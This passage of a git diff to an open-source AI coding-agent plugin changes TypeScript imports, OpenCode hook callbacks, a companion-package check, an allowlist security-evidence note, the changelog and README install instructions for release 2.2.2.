b/.opencode/plugins/ecc-hooks.ts @@ -16,8 +16,8 @@ import type { PluginInput } from "@opencode-ai/plugin" import * as fs from "fs" import * as path from "path" -import changedFilesTool from "../tools/changed-files.js" -import dependencyAnalyzerTool from "../tools/dependency-analyzer.js" +import changedFilesTool from "../tools/changed-files.ts" +import dependencyAnalyzerTool from "../tools/dependency-analyzer.ts" /** * Type definitions for better type safety @@ -111,9 +111,9 @@ export const ECCHooksPlugin: ECCHooksPluginFn = async ({ // This plugin is OpenCode's startup entry point, so a static import // failure here previously crashed the whole plugin -- and with it, the // entire OpenCode session -- before any hooks could load (see #2530). - let changedFilesStore: typeof import("./lib/changed-files-store.js") | undefined + let changedFilesStore: typeof import("./lib/changed-files-store.ts") | undefined try { - const store = await import("./lib/changed-files-store.js") + const store = await import("./lib/changed-files-store.ts") store.initStore(worktreePath) changedFilesStore = store } catch { @@ -481,7 +481,7 @@ export const ECCHooksPlugin: ECCHooksPluginFn = async ({ * Triggers: Before shell command execution * Action: Sets PROJECT_ROOT, PACKAGE_MANAGER, DETECTED_LANGUAGES, ECC_VERSION */ - "shell.env": async () => { + "shell.env": async (_input: { cwd: string }, output: { env: Record }) => { const env: Record = { ECC_VERSION: getECCVersion(), ECC_PLUGIN: "true", @@ -523,7 +523,8 @@ export const ECCHooksPlugin: ECCHooksPluginFn = async ({ env.PRIMARY_LANGUAGE = detected[0] } - return env + // OpenCode reads the supplied output object and ignores callback return values. + output.env = { ...output.env, ...env } }, /** @@ -531,13 +532,16 @@ export const ECCHooksPlugin: ECCHooksPluginFn = async ({ * OpenCode-specific: Control context compaction behavior * * Triggers: Before context compaction - * Action: Push ECC context block and custom compaction prompt + * Action: Push ECC context block and compaction guidance */ - "experimental.session.compacting": async () => { + "experimental.session.compacting": async ( + _input: { sessionID: string }, + output: { context: string[]; prompt?: string } + ) => { const contextBlock = [ "# ECC Context (preserve across compaction)", "", - "## Active Plugin: ECC v2.2.1", + "## Active Plugin: ECC v2.2.2", "- Hooks: file.edited, tool.execute.before/after, session.created/idle/deleted, shell.env, compacting, permission.ask", "- Tools: run-tests, check-coverage, security-audit, format-code, lint-check, git-summary, changed-files", "- Agents: 13 specialized (planner, architect, tdd-guide, code-reviewer, security-reviewer, build-error-resolver, e2e-runner, refactor-cleaner, doc-updater, go-reviewer, go-build-resolver, database-reviewer, python-reviewer)", @@ -558,9 +562,16 @@ export const ECCHooksPlugin: ECCHooksPluginFn = async ({ contextBlock.push("") } - return { - context: contextBlock.join("\n"), - compaction_prompt: "Focus on preserving: 1) Current task status and progress, 2) Key decisions made, 3) Files created/modified, 4) Remaining work items, 5) Any security concerns flagged. Discard: verbose tool outputs, intermediate exploration, redundant file listings.", + const eccContext = [ + contextBlock.join("\n"), + "Focus on preserving: 1) Current task status and progress, 2) Key decisions made, 3) Files created/modified, 4) Remaining work items, 5) Any security concerns flagged. Discard: verbose tool outputs, intermediate exploration, redundant file listings.", + ] + + // OpenCode requires output assignment and skips context when a prompt is set. + if (output.prompt !== undefined) { + output.prompt = [output.prompt, ...eccContext].join("\n\n") + } else { + output.context = [...output.context, ...eccContext] } }, diff --git a/.opencode/plugins/index.ts b/.opencode/plugins/index.ts index c1e17a159..3a98f0ba6 100644 --- a/.opencode/plugins/index.ts +++ b/.opencode/plugins/index.ts @@ -6,7 +6,7 @@ * while taking advantage of OpenCode's more sophisticated 20+ event types. */ -export { ECCHooksPlugin, default } from "./ecc-hooks.js" +export { ECCHooksPlugin, default } from "./ecc-hooks.ts" // Re-export for named imports -export * from "./ecc-hooks.js" +export * from "./ecc-hooks.ts" diff --git a/.opencode/tools/changed-files.ts b/.opencode/tools/changed-files.ts index 1150ca756..3ae000e1b 100644 --- a/.opencode/tools/changed-files.ts +++ b/.opencode/tools/changed-files.ts @@ -1,5 +1,5 @@ import { tool, type ToolDefinition } from "@opencode-ai/plugin/tool" -import type { ChangeType, TreeNode } from "../plugins/lib/changed-files-store.js" +import type { ChangeType, TreeNode } from "../plugins/lib/changed-files-store.ts" const INDICATORS: Record = { added: "+", @@ -27,12 +27,12 @@ function renderTree(nodes: TreeNode[], indent: string): string { // file, so a static import failure here previously took down the entire // tools module -- and with it, the whole OpenCode session -- on the very // first tool-loading pass (see #2530). -type ChangedFilesStore = typeof import("../plugins/lib/changed-files-store.js") +type ChangedFilesStore = typeof import("../plugins/lib/changed-files-store.ts") let changedFilesStorePromise: Promise | undefined async function loadChangedFilesStore(): Promise { if (!changedFilesStorePromise) { - changedFilesStorePromise = import("../plugins/lib/changed-files-store.js").catch(() => { + changedFilesStorePromise = import("../plugins/lib/changed-files-store.ts").catch(() => { changedFilesStorePromise = undefined throw new Error( "changed-files tool: could not load the changed-files store. " + diff --git a/.opencode/tools/index.ts b/.opencode/tools/index.ts index 9bd999479..17db1081a 100644 --- a/.opencode/tools/index.ts +++ b/.opencode/tools/index.ts @@ -5,11 +5,11 @@ */ // Re-export all tools -export { default as runTests } from "./run-tests.js" -export { default as checkCoverage } from "./check-coverage.js" -export { default as securityAudit } from "./security-audit.js" -export { default as formatCode } from "./format-code.js" -export { default as lintCheck } from "./lint-check.js" -export { default as gitSummary } from "./git-summary.js" -export { default as changedFiles } from "./changed-files.js" -export { default as dependencyAnalyzer } from "./dependency-analyzer.js" +export { default as runTests } from "./run-tests.ts" +export { default as checkCoverage } from "./check-coverage.ts" +export { default as securityAudit } from "./security-audit.ts" +export { default as formatCode } from "./format-code.ts" +export { default as lintCheck } from "./lint-check.ts" +export { default as gitSummary } from "./git-summary.ts" +export { default as changedFiles } from "./changed-files.ts" +export { default as dependencyAnalyzer } from "./dependency-analyzer.ts" diff --git a/.opencode/tsconfig.json b/.opencode/tsconfig.json index c6b43257b..1d586042f 100644 --- a/.opencode/tsconfig.json +++ b/.opencode/tsconfig.json @@ -15,7 +15,8 @@ "sourceMap": true, "resolveJsonModule": true, "isolatedModules": true, - "verbatimModuleSyntax": true, + "allowImportingTsExtensions": true, + "rewriteRelativeImportExtensions": true, "types": ["node"] }, "include": [ diff --git a/.pi/extensions/index.ts b/.pi/extensions/index.ts index f8310a8d5..65810292d 100644 --- a/.pi/extensions/index.ts +++ b/.pi/extensions/index.ts @@ -141,6 +141,10 @@ const DISABLED_VALUES = new Set(["0", "false", "off", "none", "disabled"]) /** * Optional Pi companion packages. ECC works without every one of these; they * are reported by `/ecc-doctor` so users can see which extras are available. + * + * These are capability names, not exact install specs. See + * `findInstalledCompanion` for how an entry is matched against what Pi has + * actually installed. */ const COMPANION_PACKAGES = [ "pi-subagents", @@ -475,6 +479,41 @@ function normalizePiPackageName(entry: unknown): string | undefined { return versionAt > 0 ? spec.slice(0, versionAt) : spec } +/** + * The installed package satisfying a companion entry, or undefined if none is. + * + * An exact name match is the ordinary case. An UNSCOPED companion entry is + * also satisfied by a scoped package with the same bare name -- + * `@tintinweb/pi-subagents` satisfies `pi-subagents`. The subagents capability + * is published to npm by more than one maintainer under that same bare name, + * and a user running a scoped fork has the capability installed by any + * meaning of the word; reporting "not installed" at them while its tools are + * live in their session is a false negative, and the suggested + * `pi install npm:pi-subagents` would push them into installing a second + * extension that registers the same tool names. + * + * A SCOPED companion entry is matched exactly, because there the scope is + * part of the identity the entry names, not incidental packaging. + */ +function findInstalledCompanion(companion: string, installed: Set): string | undefined { + if (installed.has(companion)) { + return companion + } + + if (companion.startsWith("@")) { + return undefined + } + + const scopedSuffix = `/${companion}` + for (const name of installed) { + if (name.startsWith("@") && name.endsWith(scopedSuffix)) { + return name + } + } + + return undefined +} + function countDirectories(dir: string): number { try { return fs.readdirSync(dir, { withFileTypes: true }).filter(entry => entry.isDirectory()).length @@ -547,10 +586,12 @@ function buildDoctorReport(ctx: ExtensionContext): string { const installed = listInstalledPiPackages(ctx.cwd) for (const name of COMPANION_PACKAGES) { - const present = installed.has(name) - lines.push(` ${present ? "installed " : "not installed"} ${name}`) - if (!present) { + const match = findInstalledCompanion(name, installed) + lines.push(` ${match ? "installed " : "not installed"} ${name}`) + if (!match) { lines.push(` install with: pi install npm:${name}`) + } else if (match !== name) { + lines.push(` satisfied by: ${match}`) } } diff --git a/.pr/security-evidence-3171.md b/.pr/security-evidence-3171.md new file mode 100644 index 000000000..ffd145139 --- /dev/null +++ b/.pr/security-evidence-3171.md @@ -0,0 +1,49 @@ +# Security Evidence — PR #3172 / #3171 + +Commit under review: observe.sh Layer-1 allowlist adds `sdk-cli`. + +## Changed security-sensitive surface +- `skills/continuous-learning-v2/hooks/observe.sh` (agent hook entrypoint allowlist) + +## Threat model (bounded) +- **Risk if missing `sdk-cli`**: interactive Agent SDK CLI sessions never observe (availability/coverage gap). +- **Risk if allowlist too broad**: non-interactive bots could start the observer. Mitigated by Layers 2–5 (`ECC_HOOK_PROFILE=minimal`, `ECC_SKIP_OBSERVE=1`, `agent_id`, path exclusions) — unchanged by this PR. +- **No secrets / auth tokens / billing / webhook handlers** were modified. + +## Security-focused validation artifacts (this PR) +1. **Focused security regression test** (new): `tests/hooks/observe-entrypoint-security.test.js` + - Asserts source allowlist includes `sdk-cli` + - Asserts Layer-1 allows: `cli`, `sdk-ts`, `sdk-cli`, `claude-desktop`, `claude-vscode` + - Asserts Layer-1 rejects: `unknown-bot`, `ci-bot` +2. **Supply-chain IOC scan** (repo gate): `npm run security:ioc-scan` + +## Command output (local) + +### observe-entrypoint-security.test.js +```text + +=== observe.sh Layer-1 entrypoint security (#3171) === + + ✓ source allowlist includes sdk-cli + ✓ Layer-1 allows cli + ✓ Layer-1 allows sdk-ts + ✓ Layer-1 allows sdk-cli + ✓ Layer-1 allows claude-desktop + ✓ Layer-1 allows claude-vscode + ✓ Layer-1 rejects unknown-bot + ✓ Layer-1 rejects ci-bot + +All Layer-1 security checks passed. +``` + +### npm run security:ioc-scan +```text + +> ecc-universal@2.2.1 security:ioc-scan +> node scripts/ci/scan-supply-chain-iocs.js + +Supply-chain IOC scan passed for /workspace/pr-work/ECC-3171 (12 files inspected) +``` + +## Conclusion +Allowlist change is covered by a dedicated security regression test plus the repository IOC scan. Unknown entrypoints remain denied at Layer-1. diff --git a/AGENTS.md b/AGENTS.md index 0391df9c5..6943f2083 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -1,8 +1,8 @@ # Everything Claude Code (ECC) — Agent Instructions -This is a **production-ready AI coding plugin** providing 68 specialized agents, 287 skills, 95 commands, and automated hook workflows for software development. +This is a **production-ready AI coding plugin** providing 68 specialized agents, 293 skills, 95 commands, and automated hook workflows for software development. -**Version:** 2.2.1 +**Version:** 2.2.2 ## Core Principles @@ -52,15 +52,15 @@ This is a **production-ready AI coding plugin** providing 68 specialized agents, ## Agent Orchestration Use agents proactively without user prompt: -- Complex feature requests → **planner** -- Code just written/modified → **code-reviewer** -- Bug fix or new feature → **tdd-guide** -- Architectural decision → **architect** -- Security-sensitive code → **security-reviewer** -- Brownfield project onboarding → **spec-miner** -- Autonomous loops / loop monitoring → **loop-operator** -- Harness config reliability and cost → **harness-optimizer** -- RAG/retrieval pipeline changes → **rag-pipeline-reviewer** +- Complex feature requests → **ecc:planner** +- Code just written/modified → **ecc:code-reviewer** +- Bug fix or new feature → **ecc:tdd-guide** +- Architectural decision → **ecc:architect** +- Security-sensitive code → **ecc:security-reviewer** +- Brownfield project onboarding → **ecc:spec-miner** +- Autonomous loops / loop monitoring → **ecc:loop-operator** +- Harness config reliability and cost → **ecc:harness-optimizer** +- RAG/retrieval pipeline changes → **ecc:rag-pipeline-reviewer** Use parallel execution for independent operations — launch multiple agents simultaneously. @@ -114,9 +114,9 @@ Troubleshoot failures: check test isolation → verify mocks → fix implementat ## Development Workflow -1. **Plan** — Use planner agent, identify dependencies and risks, break into phases -2. **TDD** — Use tdd-guide agent, write tests first, implement, refactor -3. **Review** — Use code-reviewer agent immediately, address CRITICAL/HIGH issues +1. **Plan** — Use ecc:planner agent, identify dependencies and risks, break into phases +2. **TDD** — Use ecc:tdd-guide agent, write tests first, implement, refactor +3. **Review** — Use ecc:code-reviewer agent immediately, address CRITICAL/HIGH issues 4. **Capture knowledge in the right place** - Personal debugging notes, preferences, and temporary context → auto memory - Team/project knowledge (architecture decisions, API changes, runbooks) → the project's existing docs structure @@ -154,7 +154,7 @@ Troubleshoot failures: check test isolation → verify mocks → fix implementat ``` agents/ — 68 specialized subagents -skills/ — 287 workflow skills and domain knowledge +skills/ — 293 workflow skills and domain knowledge commands/ — 95 slash commands hooks/ — Trigger-based automations rules/ — Always-follow guidelines (common + per-language) diff --git a/CHANGELOG.md b/CHANGELOG.md index a84156134..c89605c39 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,6 +1,38 @@ # Changelog -## Unreleased +## 2.2.2 - 2026-09-15 + +### Fixed + +#### Packaging + +- Explicitly include the compiled OpenCode payload in the npm package and verify that packing builds it from a clean state with lifecycle scripts enabled. + +#### Memory and MCP + +- Distinguish incomplete memory reads from missing records and classify directory traversal failures (`90ef62cb`, `8321021c`). +- Accept the reserved `_meta` parameter on memory MCP ping requests (`380f4b35`). + +#### Hooks and Windows compatibility + +- Keep `hooks.json` within Claude Code's schema by moving stable hook metadata into a validated sidecar (`1ac07903`). +- Handle stuck optional values and long-option prefixes in the no-verify guard (`4f373874`). +- Support Windows linter paths and ESLint 9 (`2083c983`). +- Tolerate missing Windows device IDs in settings updates while retaining full-precision inode checks and strict matching when both device IDs are available (`d3af582b`). + +#### Workflow guidance and catalog + +- Filter epic sync issues by label (`3033436d`). +- Remove instructions to auto-merge dependency bumps and synchronize localized merge authority (`22d7ed51`, `678c6dea`). +- Keep common naming and Boolean guidance language-neutral (`072e4684`, `a0ecb793`, `013ed0a8`). +- Distinguish the `prp-pr` command alias (`cc91c24f`). +- Correct Rails skill discovery, invoice tax calculation order, and framework documentation (`b6ddd13a`). +- Remove Serply and Squish catalog entries (`c4904e3f`). + +#### Dependency security + +- Update `lru` to 0.18.2 for RUSTSEC-2026-0253 (`4fc950c4`). +- Update `js-yaml` to 4.3.2 for GHSA-2883-xcg3-v3hh (`549c1469`). ## 2.2.0 - 2026-08-25 diff --git a/README.md b/README.md index ecf33fe0f..656b3ced5 100644 --- a/README.md +++ b/README.md @@ -42,8 +42,8 @@

- Stars - Forks + GitHub stars + GitHub forks Contributors GitHub App installs

@@ -68,33 +68,7 @@ ## Install with Claude Code -Run the canonical guided setup from your terminal: - -```bash -npx ecc-universal setup -``` - -If npm reports a version or cache error, confirm the registry version before retrying: - -```bash -npm view ecc-universal version -``` - -This path requires Node.js 18 or newer, Git, and Claude Code 2.1 or newer on -`PATH`. It safely installs, updates, or moves one `ecc@ecc` plugin scope and -records the hook profile you choose. - -Alternatively, run Claude Code's native plugin commands inside Claude Code: - -```text -/plugin marketplace add https://github.com/affaan-m/ECC -/plugin install ecc@ecc -``` - -The native path installs ECC's skills, agents, commands, and plugin-managed hooks. If you choose it, stop there. Do not also run a full manual install into Claude Code. - -> Both paths install the same `ecc@ecc` plugin. Choose one and do not stack -> another manual Claude install on top. +Use the [guided setup](#install-ecc) or [native plugin commands](#claude-code-details). Both install the same `ecc@ecc` plugin. Choose one and do not stack a full manual Claude install on top.
@@ -135,11 +109,13 @@ The native path installs ECC's skills, agents, commands, and plugin-managed hook

CodeRabbit    Greptile    - Atlas Cloud    - Moonshot AI - Kimi    - Itô Markets + Moonshot AI - Kimi    + Itô Markets    + SerpApi: Web Search API

+Past sponsors: Atlas Cloud + Community sponsors: Mike Morgan · @jasonwu513 · @1anter · @massimotodaro · @meadmccabe Become a Sponsor · Sponsor Tiers · Sponsorship Program @@ -162,12 +138,12 @@ Instead of rebuilding that process in every prompt, you install it once and make ECC is MIT-licensed open source. It works best with Claude Code today, has a supported Codex sync path, and provides capability-limited adapters for Cursor, OpenCode, Gemini, Zed, GitHub Copilot, Antigravity, Qwen, and other harnesses. See the [support status matrix](#platform-support) before assuming feature parity. -Access to 68 agents, 287 skills, and 95 legacy command shims, plus hooks, rules, memory, continuous learning, and AgentShield security scanning. The agents are specialized for planning, review, build repair, security, architecture, and domain work. +Access to 68 agents, 293 skills, and 95 legacy command shims, plus hooks, rules, memory, continuous learning, and AgentShield security scanning. The agents are specialized for planning, review, build repair, security, architecture, and domain work. | Included | Count | What it gives you | | ---------------- | ----------: | ------------------------------------------------------------------------------------ | | Agents | 68 agents | Planning, review, build repair, security, architecture, and domain work | -| Skills | 287 skills | TDD, research, security, docs, frontend, data, ML, operations, and more | +| Skills | 293 skills | TDD, research, security, docs, frontend, data, ML, operations, and more | | Commands | 95 commands | Convenient entry points while ECC moves to a skills-first surface | | Hooks and memory | Runtime | Enforcement, session summaries, continuous learning, instincts, and context controls | | Rules | Selective | Always-loaded standards you choose by language or project | @@ -176,8 +152,8 @@ Access to 68 agents, 287 skills, and 95 legacy command shims, plus hooks, rules,

- - ECC star history: first 40,000 stars, January 18 to February 7, 2026 + + Live star history chart for affaan-m/ECC

@@ -191,25 +167,106 @@ Access to 68 agents, 287 skills, and 95 legacy command shims, plus hooks, rules, ### Recommended: universal guided setup -Run the package command from your terminal. For Claude Code setup, updates, -scope changes, and hook-profile changes: +For Claude Code plugin setup, updates, scope changes, and hook-profile changes: ```bash -npx ecc-universal setup +npx ecc-universal@2.2.2 setup ``` -To configure Claude Code, Codex, or Kimi Code in one reviewed flow: +#### Windows first-time walkthrough + +If you are new to command-line tools, use this copy-and-paste path: + +1. Install Node.js 18 or newer, Git, and Claude Code. +2. Open **PowerShell** from the Windows Start menu. +3. Confirm that each prerequisite is available: + + ```powershell + node --version + git --version + claude --version + ``` + +4. Run the guided installer: + + ```powershell + npx ecc-universal@2.2.2 setup + ``` + +5. For a typical personal setup, choose **Global user**, choose **Standard** hooks, and confirm. +6. Start a new Claude Code session and run `/plugin list` to verify that `ecc@ecc` is enabled. + +This path does not require cloning the repository. If any prerequisite command is not found, install or repair that prerequisite before rerunning ECC setup. + +If npm reports a version or cache error, confirm the registry version before retrying: ```bash -npx ecc-universal install --guided +npm view ecc-universal version ``` +ECC 2.2 supports the same guided setup through modern package runners: + +| Package runner | Guided setup command | +|---|---| +| npm / npx | `npx ecc-universal@2.2.2 setup` | +| pnpm | `pnpm dlx ecc-universal@2.2.2 setup` | +| Yarn 2+ | `yarn dlx ecc-universal@2.2.2 setup` | +| Bun | `bunx ecc-universal@2.2.2 setup` | + +The examples select [the published ECC 2.2.2 release](https://www.npmjs.com/package/ecc-universal/v/2.2.2), matching this repository's release version. A version pin is not a security audit or an integrity check. Review the release source and registry integrity before running package code; use a reviewed checkout for unreleased changes. + +Yarn Classic 1 does not provide `yarn dlx`; use `npx`, install the package globally, or upgrade Yarn for a temporary one-shot run. + +The wizard inventories the official marketplace and every native Claude install scope before making changes, then installs, updates, or safely moves `ecc@ecc` to the scope you choose. Rerun the same command whenever you want to update ECC, change scope, or change its hook profile. This setup wizard currently configures the Claude Code plugin; use the multi-harness wizard below for Codex or Kimi Code. + +To configure more than one coding agent in one reviewed flow, use the multi-harness wizard: + +```bash +npx ecc-universal@2.2.2 install --guided +``` + +It lets you select any combination of Claude Code, Codex, and Kimi Code, shows each install channel and destination, preflights every selection before the first write, and asks for one final confirmation. + +| Harness | Guided install behavior | +|---|---| +| Claude Code | Native `ecc@ecc` plugin with one `user`, `project`, or `local` scope and an ECC hook profile | +| Codex | Native Codex marketplace/plugin lifecycle; hook review and trust remain Codex-owned | +| Kimi Code | Managed project files under `./.kimi-code`; ECC hooks, model/provider settings, and authentication are not configured | + +For automation, make every provider-specific choice explicit: + +```bash +npx ecc-universal@2.2.2 install --guided \ + --harness claude --harness codex --harness kimi \ + --claude-scope local --claude-hooks standard \ + --profile core --yes +``` + +Verify the native guided Codex path and managed Kimi path without writing first: + +```bash +npx ecc-universal@2.2.2 install --guided --harness codex --dry-run +npx ecc-universal@2.2.2 install --profile core --target kimi --dry-run +``` + +Additional package-name commands are also available through the 2.2 alias: + +```bash +npx ecc-universal@2.2.2 consult "security reviews" --target claude +npx ecc-universal@2.2.2 install --profile minimal --target claude --with capability:machine-learning +npx ecc-universal@2.2.2 doctor --target kimi +``` + +Do not use `npx ecc-install --profile minimal --target claude`: `ecc-install` is a binary name inside `ecc-universal`, not a separately published npm package. + +ECC also ships advanced managed adapters for `cursor`, `antigravity`, `gemini`, `opencode`, `codebuddy`, `joycode`, `qwen`, `zed`, `hermes`, and `openclaw`. Those targets still use their documented `ecc install --target ...` paths until each adapter has passed the guided collision, update, repair, and uninstall lifecycle matrix. Neither wizard silently installs into every detected harness. + ### Pick one path only (per harness) You can use ECC with Claude Code, Codex, and other harnesses at the same time. Choose one install method for each harness: - **Recommended default:** run the guided Claude plugin setup above -- **Also supported for Claude Code:** use the [native plugin commands above](#install-with-claude-code) +- **Also supported for Claude Code:** use the [native plugin commands](#claude-code-details) - **Available in release 2.2:** guided package setup for Claude Code, Codex, and Kimi Code - **Works:** Claude Code plugin + Codex native plugin - **Works:** Claude Code plugin + the legacy Codex sync flow @@ -224,6 +281,15 @@ If you already layered multiple installs and things look duplicated, skip straig ### Claude Code details +Alternatively, run Claude Code's native plugin commands inside Claude Code: + +```text +/plugin marketplace add https://github.com/affaan-m/ECC +/plugin install ecc@ecc +``` + +The native path installs ECC's skills, agents, commands, and plugin-managed hooks. If you choose it, stop there. Do not also run a full manual install into Claude Code. + Claude Code owns these built-in commands, including their errors when a marketplace, plugin, or conflicting scope already exists. ECC cannot intercept that parser. If either native command reports an existing install or scope conflict, use the 2.2 guided setup or resolve the conflicting Claude plugin scope before retrying; do not layer a manual install on top. After ECC is installed, `/ecc:configure-ecc` is the namespaced in-Claude reconfiguration skill. It delegates to the same safe setup flow, but it is available only after the plugin is installed and cannot replace Claude Code's built-in `/plugin` command during a first install. @@ -330,14 +396,14 @@ cd ECC | Harness | Install or setup | Notes | |---|---|---| | Cursor | `./install.sh --profile minimal --target cursor` | Project-local `.cursor/` adapter | -| OpenCode | `npm install && npm run build:opencode && ./install.sh --profile full --target opencode` | Builds the plugin payload before the full install | +| OpenCode | `npm install && npm run build:opencode && ./install.sh --profile full --target opencode --enable-hooks` | Builds the plugin payload before the full install | | Gemini CLI | `./install.sh --profile minimal --target gemini` | Project-local `.gemini/` config | | Zed | `./install.sh --profile minimal --target zed` | Project-local `.zed/` adapter | | Antigravity | `./install.sh --profile minimal --target antigravity` | See the [Antigravity guide](docs/ANTIGRAVITY-GUIDE.md) | | Qwen CLI | `./install.sh --profile minimal --target qwen` | See the [Qwen guide](docs/QWEN-GUIDE.md) | | Hermes | `./install.sh --profile minimal --target hermes` | See the [Hermes setup guide](docs/HERMES-SETUP.md) | | OpenClaw | `./install.sh --profile minimal --target openclaw` | Managed home-directory install | -| Kimi Code CLI | `./install.sh --profile minimal --target kimi` | Project-local `.kimi-code/` install | +| Kimi Code CLI | `./install.sh --profile minimal --target kimi` | Project-local `.kimi-code/` install · [Get Kimi Code](https://www.kimi.ai/code?aff=ecc) | | CodeBuddy | `./install.sh --profile minimal --target codebuddy` | Project-local `.codebuddy/` install | | JoyCode | `./install.sh --profile minimal --target joycode` | Project-local `.joycode/` install | @@ -350,74 +416,8 @@ Cursor installs agent definitions under `.cursor/agents/ecc-*.md`. Cursor-native Deep per-harness notes (feature parity, hook adapters, limitations) live in [Platform Support](#platform-support) below. -## Self-Hosted Models and Custom Endpoints - -ECC works through each harness's normal configuration, so you can use an official provider, a compatible custom API endpoint or model gateway, or a self-hosted model without changing ECC's workflows. - -For Claude Code, ECC does not hardcode Anthropic-hosted transport settings. Minimal gateway example: - -```bash -export ANTHROPIC_BASE_URL=https://your-gateway.example.com -export ANTHROPIC_AUTH_TOKEN=your-token -claude -``` - -If your gateway remaps model names, configure that in Claude Code rather than in ECC. ECC's hooks, skills, commands, and rules are model-provider agnostic once the `claude` CLI is already working. See Anthropic's [LLM gateway documentation](https://docs.anthropic.com/en/docs/claude-code/llm-gateway) and [model configuration documentation](https://docs.anthropic.com/en/docs/claude-code/model-config). - -Run or self-host any open-source model behind that gateway using separate compute and serving setup. If you need GPU capacity, [Itô](https://compute.itomarkets.com) is ECC's preferred compute sponsor; any GPU provider works. The sponsorship link is passive: it does not invoke an RFQ, reserve capacity, provision compute, or configure serving. Separately, `ecc ito find` invokes the explicitly configured canonical Itô CLI and submits a live authenticated RFQ; it does not reserve capacity. Managed inference through Itô is not live yet. - -### Self-host Kimi with ECC + Itô compute - -The Kimi Code harness and the model-serving layer are separate. ECC configures the agent harness; you bring an API endpoint or self-host an open-weight Kimi model on your own GPU capacity. This adapter is verified against Kimi Code 0.31.x (`@moonshot-ai/kimi-code`): - - - - - - - -
- - Itô Markets
- 1. Get GPU capacity -

- Use Itô or any GPU provider. -
- - Moonshot AI - Kimi
- 2. Serve Kimi -

- Expose the chosen checkpoint through a compatible endpoint. -
- - ECC Tools
- 3. Run Kimi Code with ECC -

- Install project instructions and skills, then start Kimi Code. -
- -Configure the endpoint with Kimi Code's official provider guide, then install ECC: - -```bash -bash ./install.sh --target kimi --profile minimal -node scripts/ecc.js doctor --target kimi -kimi -``` - -Kimi Code discovers the installed `.kimi-code/AGENTS.md` instructions and `.kimi-code/skills/` workflows natively; project-level `.agents/skills/` is also an official discovery location. ECC safely merges project MCP entries into `.kimi-code/mcp.json` and does not change the user-level `~/.kimi-code/config.toml`. Kimi Code supports native hooks, but ECC's current managed-project adapter does not configure them, so this installer does not offer Kimi hook profiles. The installer dry-run and regression suite verify that every managed Kimi write stays inside the project-local `.kimi-code/` root. - -### Itô compute CLI bridge - -`ecc ito` delegates to the separately installed canonical Itô client; ECC does not maintain a second API client. `ecc ito login [--no-browser]` performs device authorization, opens the Itô verification page by default, and persists a device token in macOS Keychain; `--no-browser` suppresses the page handoff. ECC itself does no browser automation. `ecc ito auth` is validation-only and rejects `--no-browser`. The available operations are `ecc ito login`, `ecc ito auth`, `ecc ito find`, `ecc ito status`, and the separately gated `ecc ito evals`. The matching MCP tools remain `ito_auth`, `ito_find`, and `ito_status`; `ito_auth` validates existing credentials and node qualification is CLI-only. - -The `ito-compute-cli` package is currently unpublished. Build it locally from the Itô runtime repo (private while the desk hardens; design partners get access) under `cli/ito-compute-cli`, run `npm ci` and `npm run check`, then set `ECC_ITO_CLI_EXECUTABLE` to that build's absolute `dist/bin/ito.js` path. Login never inherits `ITO_API_KEY`; auth, find, and status forward `ITO_API_KEY` directly when configured, and `ITO_AUTH_MODE=legacy` is not required. `ecc ito logout` revokes the current device credential and retains its local copy if remote revocation cannot be confirmed. Device tokens use macOS Keychain by default; explicit file fallback must retain owner-only directory/file permissions. ECC does not discover this credential-bearing client through `PATH`. See the [`ito-compute` skill](skills/ito-compute/SKILL.md) for the full RFQ authority and MCP setup contract. - -`find` submits a live authenticated RFQ. It does not reserve capacity. `evals` requires both `ITO_ENABLE_SIXTYTWO_LIVE=1` and `--live-sixtytwo`, a separately installed `sixtytwo-cli==0.3.33`, an explicit node list, and an existing absolute configuration directory. It cannot rent, launch, recover, repair, or purchase. ECC exposes no quote lock, purchase, workload, or inference path, and it never replaces a missing client or failed live call with a local result. - ## Advanced Install Options -The options stay here, directly under the main install paths, so you do not have to hunt through the README when the default setup is not the right fit. -
Low-context install with no hook runtime @@ -426,7 +426,7 @@ The options stay here, directly under the main install paths, so you do not have Use this when you want ECC's rules, agents, commands, platform config, and core workflows without runtime hooks: ```bash -npx ecc-universal install --profile minimal --target claude +npx ecc-universal@2.2.2 install --profile minimal --target claude ``` From a source checkout, the equivalent command is: @@ -592,7 +592,7 @@ ECC-managed install and Codex sync flows will skip or remove those bundled serve `multi-*` commands are **not** covered by the base plugin/rules install. -To use `/multi-plan`, `/multi-execute`, `/multi-backend`, `/multi-frontend`, and `/multi-workflow`, you must also install the `ccg-workflow` runtime. Initialize it with `npx ccg-workflow`. +To use `/multi-plan`, `/multi-execute`, `/multi-backend`, `/multi-frontend`, and `/multi-workflow`, you must also install the `ccg-workflow` runtime. Choose and review an exact release using the [upstream CCG installation guide](https://github.com/fengshao1227/ccg-workflow#readme), then initialize that installed runtime. ECC does not bundle CCG or attest to a compatible, audited CCG release; this guide does not bootstrap an unspecified registry version. That runtime provides the external dependencies these commands expect, including: @@ -611,11 +611,11 @@ If you installed from the universal package, run these commands from the same project directory used for installation: ```bash -npx ecc-universal list-installed -npx ecc-universal doctor -npx ecc-universal repair -npx ecc-universal uninstall --dry-run -npx ecc-universal uninstall +npx ecc-universal@2.2.2 list-installed +npx ecc-universal@2.2.2 doctor +npx ecc-universal@2.2.2 repair +npx ecc-universal@2.2.2 uninstall --dry-run +npx ecc-universal@2.2.2 uninstall ``` From a source checkout, inspect the managed state before reinstalling: @@ -646,74 +646,6 @@ If you stacked methods, clean up in this order: 4. Reinstall once, using a single path.
-## Universal guided setup details - -> [!IMPORTANT] -> These package-runner commands require `ecc-universal` 2.2.0 or newer and -> Node.js 18 or newer. Claude plugin setup also requires Git and Claude Code -> 2.1 or newer on `PATH`. - -For Claude Code plugin setup, updates, scope changes, and hook-profile changes: - -```bash -npx ecc-universal setup -``` - -ECC 2.2 supports the same guided setup through modern package runners: - -| Package runner | Guided setup command | -|---|---| -| npm / npx | `npx ecc-universal setup` | -| pnpm | `pnpm dlx ecc-universal setup` | -| Yarn 2+ | `yarn dlx ecc-universal setup` | -| Bun | `bunx ecc-universal setup` | - -Yarn Classic 1 does not provide `yarn dlx`; use `npx`, install the package globally, or upgrade Yarn for a temporary one-shot run. - -The wizard inventories the official marketplace and every native Claude install scope before making changes, then installs, updates, or safely moves `ecc@ecc` to the scope you choose. Rerun the same command whenever you want to update ECC, change scope, or change its hook profile. This setup wizard currently configures the Claude Code plugin; use the multi-harness wizard below for Codex or Kimi Code. - -To configure more than one coding agent in one reviewed flow, use the multi-harness wizard: - -```bash -npx ecc-universal install --guided -``` - -It 